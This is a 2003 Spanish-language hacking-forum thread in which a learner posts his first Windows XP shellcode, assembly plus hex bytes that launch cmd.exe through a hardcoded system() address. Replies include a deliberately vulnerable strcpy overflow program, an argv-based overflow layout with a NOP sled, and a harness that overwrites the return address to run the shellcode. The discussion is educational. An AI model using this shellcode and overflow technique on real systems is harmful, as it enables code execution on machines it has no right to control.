elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.


 


Tema destacado: Únete al Grupo Steam elhacker.NET


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits (Moderador: berz3k)
| | |-+  Mi primera Shellcode para un exploit!!!
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] 2 3 Ir Abajo Respuesta Imprimir
Autor Tema: Mi primera Shellcode para un exploit!!!  (Leído 34,165 veces)
Rojodos
Colaborador
***
Desconectado Desconectado

Mensajes: 3.535



Ver Perfil WWW
Mi primera Shellcode para un exploit!!!
« en: 17 Mayo 2003, 22:48 »

__asm {
        mov esp,ebp
        push ebp
        mov ebp,esp
        xor edi,edi
        push edi
        sub esp,04h
        mov byte ptr [ebp-08h],63h // Indroduccion de la cadena "cmd.exe"
        mov byte ptr [ebp-07h],6Dh
        mov byte ptr [ebp-06h],64h
        mov byte ptr [ebp-05h],2Eh
        mov byte ptr [ebp-04h],65h
        mov byte ptr [ebp-03h],78h
        mov byte ptr [ebp-02h],65h
        mov eax, 0x77BF8044    // Offset de system () en msvcrt.dll (Win XP SP1). Cambiarlo segun SO
        push eax
        lea eax,[ebp-08h]
        push eax
        call dword ptr [ebp-0ch] // llamamos a system (cmd.exe)
        }


char scode[]= // By Rojodos
   {0x8B,0xEC,0x33,0xFF,0x57,0x83,0xEC,0x04,0xE6,0x45,0xF8,0x63,0xC6,0x45,0xF9,0x6D,0xC6,0x45,0xFA,0x64,0xC6,0x45,0xFB,0x2E,0xC6,0x45,0xFC,0x65,0xC6,0x45,0xFD,0x78,0xC6,0x45,0xFE,0x65,0xB8,0x44,0x80,0xBF,0x77,0x50,0x8D,0x45,0xF8,0x50,0xFF,0x55,0xF4};


Ma costao lo suyo encontrar el offset del system () en msvcrt.dll , no me enteraba con el olly bien xD

Solo funciona en Win XP SP1 (puede que sin el SP1). Pero para los demas SOs, solo teneis que averiguar el offset de system () y cambiarlo.

Esta scode ejecuta CMD.EXE  ;D

Ojo, esta es mi primera shellcode, no creo que me haya ekivokado (funciona, vaya...) pero podria estar mucho mas optimizada y tal.

Si alguien sabe de scodes, que me lo diga aki o por privado (aun no he encontrado a nadie que sepa hacer exploits) y comentamos cosas  ;D

Toi preparando un programilla vulnerable para hacerme un exploit con la scode.

:)

Espero que os guste, para MI, esto SI que es HACK  :P

En línea

xena

Desconectado Desconectado

Mensajes: 6



Ver Perfil
Re:Mi primera Shellcode para un exploit!!!
« Respuesta #1 en: 18 Mayo 2003, 03:45 »

A eso le llamas shellcode?, a ejecutar un programa utilizando ensamblador? lo primero, kien ejecuta ese cmd.exe? pq te basas en el msvcrt cuando pocos programas de red lo usan?
pq no utilizas algun salto a system() desde otro lugar? no se en windows pero en unix se suele utilizar execve para ejecutar programas, no system, q se utiliza + para hacer cosas en plan system (PAUSE);

Ahora un consejo:no bases nunca un shellcode en el offset de una dll q puede no estar cargada en memoria; mejor intenta hacer un salto largo a la ntdll. No se si el gdt te permitira hacer dicho salto ya q ntdll se encuentra un anillo mas abajo normalmente q la aplicacion q lo llame, aunq ahora el windows 2003 server parsea las peticiones http en espacio de kernel con lo q buscar ahi una vulnerabilidad seria la ostia en vinagre.
En línea

logan

Desconectado Desconectado

Mensajes: 61



Ver Perfil
Re:Mi primera Shellcode para un exploit!!!
« Respuesta #2 en: 18 Mayo 2003, 06:26 »

hola:

te dire yo no se mucho de shells pero.....  ;D      :o

El shell:
constituye el interprete de ordenes de UNIX aunque no es mas que un programa de utilidad es la parte que el usuario ve de UNIX ( es la interface como el usuario)

El unix se considera como un sistema interactivo multitarea y multiusuario ( en todo el sentido de la palabra) se pueden mandar procesos a uchos usuarios ala ves
La planificacion de la cpu se hace mediante un algoritmo de prioridades( aunque la version 4.2 BSD esta bajo demanda).

- Proceso Shell:

Comienza en el momento en que aparece el prompt ($). El programa shell permanecerá continuamente activo hasta que el usuario se desconecte del sistema.
La shell necesita conocer de cada usuario el UID (user identification), que es un número que el sistema asigna a cada usuario y con el que el sistema operativo trabaja realmente, y el GIP (group identification), que es un número que identifica el grupo al que pertenece el usuario.

El sistema operativo UNIX, dada su organización y seguridad, mantiene a todos los usuarios repartidos en grupos, permitiendo realizar tareas similares a los usuarios de un mismo grupo.

La shell necesita conocer también el directorio de trabajo del usuario, llamado directorio HOME.


El archivo profile:    :)

Una vez que se ha lanzado el programa shell y se ha establecido el entorno básico del usuario, el siguiente paso es la ejecución del proceso /etc/profile (que es como un autoexec.bat), este fichero contiene unos comandos que se ejecutan para todos los usuarios a continuación del login. Las funciones de este fichero son, entre otras, mostrar los mensajes del día, informar al usuario si ha recibido correo y fijar las variables de entorno generales para todos los usuarios.
Una vez ejecutado este archivo, se puede ejecutar el .profile (archivo personal) que contendrá órdenes personalizadas que se ejecutarán para un solo usuario. Este archivo se encuentra en el directorio home y se utiliza para ajustar o modificar el entorno según las necesidades particulares de cada usuario.

- Tipos de sistemas de ficheros:

- S5:
Es un sistema de ficheros idéntico al de anteriores versiones del System V de ATT.
- UFS:
Sistema de ficheros de Berckeley. Es el que utiliza el sistema por defecto.

- NFS:
Sistema de ficheros de la red Sun Microsystems.

- /proc:
Sistema de ficheros especial utilizado para acceder al espacio de direccionamiento de un proceso en ejecución.

- BFS:
Sistema de ficheros de arranque. Se utiliza para independizar la inicialización del sistema posterior de ficheros que se vaya a elegir.   :D

Principales directorios del sistema:

- /: root.
- /etc: contiene ficheros de configuración, administrativos y bases de datos del sistema.
- /home: contiene los directorios de trabajo de los usuarios.
- /lib, /usr/lib: contienen librerías de programas.
- /bin, /usr/bin, /sbin: contienen ejecutable empleados para la administración del sistema.
- /dev: contiene los ficheros especiales de dispositivos.
- /mnt: punto de montaje temporal para sistemas de ficheros.
- /tmp, /var/tmp: contienen ficheros temporales.
- /var: contiene ficheros y directorios variables en contenido (ej: ficheros como look y spool).
- /proc: sistema de ficheros virtual en memoria. Este directorio contiene una referencia por cada proceso activo en el sistema.
- /boot: contiene los ficheros de arranque del sistema.

bueno espero que te haya servido esta informacion yuque puedas seguir adelante!
suerte y asaludos  ::)  :P


En línea

Si, soy un criminal. Mi crimen es la curiosidad.
Mi crimen es el juzgar a las personas por lo que
dicen y piensan, no por lo que aparentan.
Mi crimen es ser más inteligente, algo por lo cual
nunca me olvidarás.

Soy un .... , este es mi manifiesto.
Tu podrás detener este esfuerzo individual
Rojodos
Colaborador
***
Desconectado Desconectado

Mensajes: 3.535



Ver Perfil WWW
Re:Mi primera Shellcode para un exploit!!!
« Respuesta #3 en: 18 Mayo 2003, 12:13 »

Antes de nada, te recuerdo que es MI PRIMERA SCODE. Se que es MUY BASICA, no hace falta que me lo recuerdes con estas maneras. Por algo se empieza no?

Puede que tu hayas exo varios exploits y tal (y sus scodes) pero para mi es un logro (que me costo lo suyo)

Aki hay gente que no sabe ni que es ni para que se utiliza una scode, y mucho menos como "crearla"

El cmd.exe lo ejecuta system () y lo que exporto es su direccion dentro de la dll msvcrt.dll ( que por cierto, TODOS los programas realizados en C o C++ la linkan...). No se si lo sabes,pero es la Libreria Microsoft Visual C++ (la msvcrt.dll)

Si metes el codigo ASM en un codigo C y lo ejecutas, veras que te sale una shell cmd

Podria hacer exo un LoadLibraryA = (msvcrt.dll) y luego un GetProcAddress = (system, msvcrt.dll), pasarlo a ASM, y meterlo en la shellcode.

Asi la scode seria multiwindows y funcionaria sin tener que cargar msvrcrt.dll en el ejecutable vulnerable.

Pero no he tenido tiempo, asi que no lo he hecho.

En línea

Rojodos
Colaborador
***
Desconectado Desconectado

Mensajes: 3.535



Ver Perfil WWW
Re:Mi primera Shellcode para un exploit!!!
« Respuesta #4 en: 19 Mayo 2003, 04:59 »

Si compilas un programa con el Borland C++(aunq sea con extension .c en vez de .cpp) o el Dev Cpp, tambien cargan en memoria la msvcrt.dll (la verdad, no se porq.... Tambien cargan varias dlls que no se usan  :-\)

El problema es que la version del BC++ que tengo es MUY antigua y no reconoce los registros extendidos (EAX, EBX, etc...) con lo que el codigo ASM no lo pude probar ahi.

Y en el Dev Cpp, si añado este codigo ASM con la funcion __asm o __asm__ , tampoco lo reconoce, porque trabaja con el ASM de AT&T y no con el de MSDOS.

En LoadLibrary y GetProcAddress me he confundido porque tambien se les puede meter arrays como parametros, sin comillas.

Código:
char dll[11] = "msvcrt.dll";
char system[7] = "system";

Libreria = LoadLibraryA(dll);
Dir_Funcion= GetProcAddress (Libreria,system);

De todas formas, mis conocimientos en ASM son lo poco que me han enseñado en la universidad (muy poco por cierto).

De todas formas, insisto, estoy solo probando cosas, tengo derecho a equivokarme. Ademas, de que no tengo mucha idea de la teoria.

Se que hay metodos para hacer que una scode no utilice direcciones hardcodeadas y tal en win, pero aun toi aprendiendo.

Gracias por las aclaraciones :)

Viendo que te pasas por aki, y que conoces el tema, tengo algunas dudillas:

Se puede sobreescbribir la EIP en un WINDOWS XP, con un B0F de toda la vida?:

#include <stdio.h>
#include <string.h>

int main (int argc, char **argv){
             char buffer[64]);
             strcpy (buffer,argv[1]);
             return 0;
}

Si le metes AAAAAAAAAAAAAAAAAAAAAAAA (mas de 64, deberia ser unos 72, para que el EBP=0x41414141 y la EIP que esta debajo = 0x41414141) como argumetos, el programa (en XP) me peta con el tipico error de windows.

Pero mirando el error, la EIP no se ha sobreescrito  :-X

Con el Olly, pasa una cosa extrañisima:

Se ponen EAX, ECX y  EDX = 0x41414141, y luego falla el programa aki:

DS:[4141414D] = ????????
EDX=41414141

Access violation when reading [4141414D]

Como puedes imaginar, quiero probar la scode. Pero no consigo que se sobreescriba la EIP.

Ademas, la direccion de la scode en la pila (cuando lo probe) tenia nulls  :-X y no se como mandarle 0x00 sin que el buffer lo interprete como fin de cadena  :-\

A ver si me lo puedes aclarar :)

En línea

byebye


Desconectado Desconectado

Mensajes: 5.093



Ver Perfil
Re:Mi primera Shellcode para un exploit!!!
« Respuesta #5 en: 19 Mayo 2003, 08:35 »

yo de esto no entiendo, pero el problema pq viene? el fallo es de msvcrt.dll? o simplemente es cargarla? si es cargarla sin saber la direccion, puedes buscar kernel32.dll en memoria y sacar la direccion de getprocaddress. si no es eso hacer como si no he puesto na.
En línea

Rojodos
Colaborador
***
Desconectado Desconectado

Mensajes: 3.535



Ver Perfil WWW
Re:Mi primera Shellcode para un exploit!!!
« Respuesta #6 en: 19 Mayo 2003, 09:11 »

Aviso, si este post se convierte en un post de rekiminaciones, se cierra y se borraran los post "paja" xD

Entendido?

Vamos a hablar de la scode (que es lo que interesa), no de kien es mejor persona.

Ok?

XDDD, ok Mek, no te haremos caso.

No van los tiros por donde tu dices :).

quiero provokar un buffer overflow adrede para ver si puedo ejecutar la scode.

Xena y Weke, cualkiero cosa que no tenga que ver con este post, os lo decis por privado, ok? Lo borrare si lo poneis, no gasteis teclado.
En línea

xena

Desconectado Desconectado

Mensajes: 6



Ver Perfil
Re:Mi primera Shellcode para un exploit!!!
« Respuesta #7 en: 20 Mayo 2003, 03:20 »

Rojodos:

Puede ser que al meter en la pila 72 veces 0x41, lo que estés haciendo es que cuando ocurra un cambio de contexto, los registros lean ese contenido de 32 en 32 bits, de tal manera que al menos un registro contenga un valor que no es verdadero, sino uno que has metido tu a mano. Esto no provoca un desbordamiento de buffer, sin embargo, lo que provoca es una excepción porque los registros contienen valores "raritos".

Citar
Access violation when reading [4141414D]

lógico :) probablemente esa dirección esté fuera de tu selector GDT o, por el contrario (no se como va en windows) te puedes haber saltado la página "que te corresponde" y haber dado una violación de acceso. Asegurate para esto que el segmento de memoria al que intentas acceder es accesible desde el contexto del programa (intenta hacer un (unsigned char *) 0x4141414D para ver si puedes aunque sea leer esa dirección) aunque, siendo una zona .text puede que no te deje (al ser codigo lo proteje ???)

Bueno espero que te sirvan de algo estas guias.

Atentamente, Xena

PD Weke: Yo por lo menos ayudo, no como tu que solo pareces querer iniciar flamewars. Si me he reido en algun momento es porque me ha parecido gracioso. Si prefieres que reprima mi risa, entonces el agrio eres tu.
En línea

Rojodos
Colaborador
***
Desconectado Desconectado

Mensajes: 3.535



Ver Perfil WWW
Re:Mi primera Shellcode para un exploit!!!
« Respuesta #8 en: 20 Mayo 2003, 07:10 »

Habia pensado eso, que me iba a memoria no paginada  :-\

Pero creia que uno se iba a memoria no paginada cuando "overfloweava demasiado". Metias tantos datos en el buffer a sobreescribir, que petabas el buffer, petabas el ebp y el ret (la EIP), petabas todos los datos contiguos hasta llegar a memoria no paginada....

Joder con el XP....

Voy a probar a meterle mas :( (mas de 72), a ver si peto la EIP.

Tambien quiero mejorar la scode para hacerla multiwindows, aunq el tamaño va a aumentar considerablemente (sobre todo por mis conocimientos de ASM; no va a estar nada optimizada...  :-X)

Gracias, y si sabes como hacer un overflow en un XP en condiciones (como ves, no lo consigo xDDD), me lo comentas en el foro :)
En línea

Weke

Desconectado Desconectado

Mensajes: 51



Ver Perfil WWW
Re:Mi primera Shellcode para un exploit!!!
« Respuesta #9 en: 20 Mayo 2003, 10:43 »

Reholas. Bueno, pues por ayudar que no quede, pero me voy a saltar el post de xena porque el primer parrafo parece sacado de un jeroglifico y no lo entiende ni san pedro.

Veamos el codigo original:

#include <stdio.h>
#include <string.h>

int main (int argc, char **argv){
            char buffer[64]);
            strcpy (buffer,argv[1]);
            return 0;
}

Ese me imagino que es el programa vulnerable. Si le metes en argv[1] una cadena mas larga que 72 bytes sobreescribes argc, y luego argv[], con lo que el strcpy al estar leyendo de argv[1] se corrompe y petara, y nunca lograras ejecutar la shellcode. Solucion: En este programa en concreto puedes meter en argv[1] la direccion de la shellcode, y la propia shellcode con los nops que quieras en argv[2], que no tienes limite de tamaño y podras poner 8000 nops si quieres. Usease:

vuln.exe DIRE-DIRE..DIRE-DIRE(72-veces) 8000-NOPS-Shellcode

Por otro lado si lo que quieres es probar la shellcode te recomiendo otra cosa mucho mas simple. Ah por cierto que tienes razon, una shellcode nunca puede llevar null's, asi que tendras que quitarlos, modificando las instrucciones en asm que produce un null por otra. Bueno, a lo que ibamos, para probar si la shellcode funciona prueba esto:

static char shellcode[1024]= aqui_la_shellcode_pasada_a_hexadecimal;

int main()
{
unsigned long *ret;
ret = (unsigned long *) &ret;
ret += 2;

*ret = (unsigned long) shellcode;
}

Eso sino me equivoque funcionaria, ya que ret esta en la pila, haces que apunte a si mismo, lo incrementas 2 (8 bytes), y lo sobreescribes con la direccion del array de la shellcode (o sea que estas sobreescribiendo eip). Eso para probar la shellcode, pero tambien podrias usar un puntero a una funciona por ejemplo, y luego ejecutarlo (apuntando a la shellcode claro).

Un saludo.

Weke

En línea

Páginas: [1] 2 3 Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
¡ MI PRIMERA SHELLCODE ! Linux i386 : 25 bytes « 1 2 »
Bugs y Exploits
Garfield07 15 5,704 Último mensaje 20 Enero 2011, 00:47
por leucocito
shellcode básica para windows.
Bugs y Exploits
black_flowers 7 3,977 Último mensaje 6 Febrero 2011, 16:39
por black_flowers
error al actualizar meta exploit por primera ves
Bugs y Exploits
skrill 1 1,235 Último mensaje 24 Diciembre 2013, 07:00
por Mazudo
Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines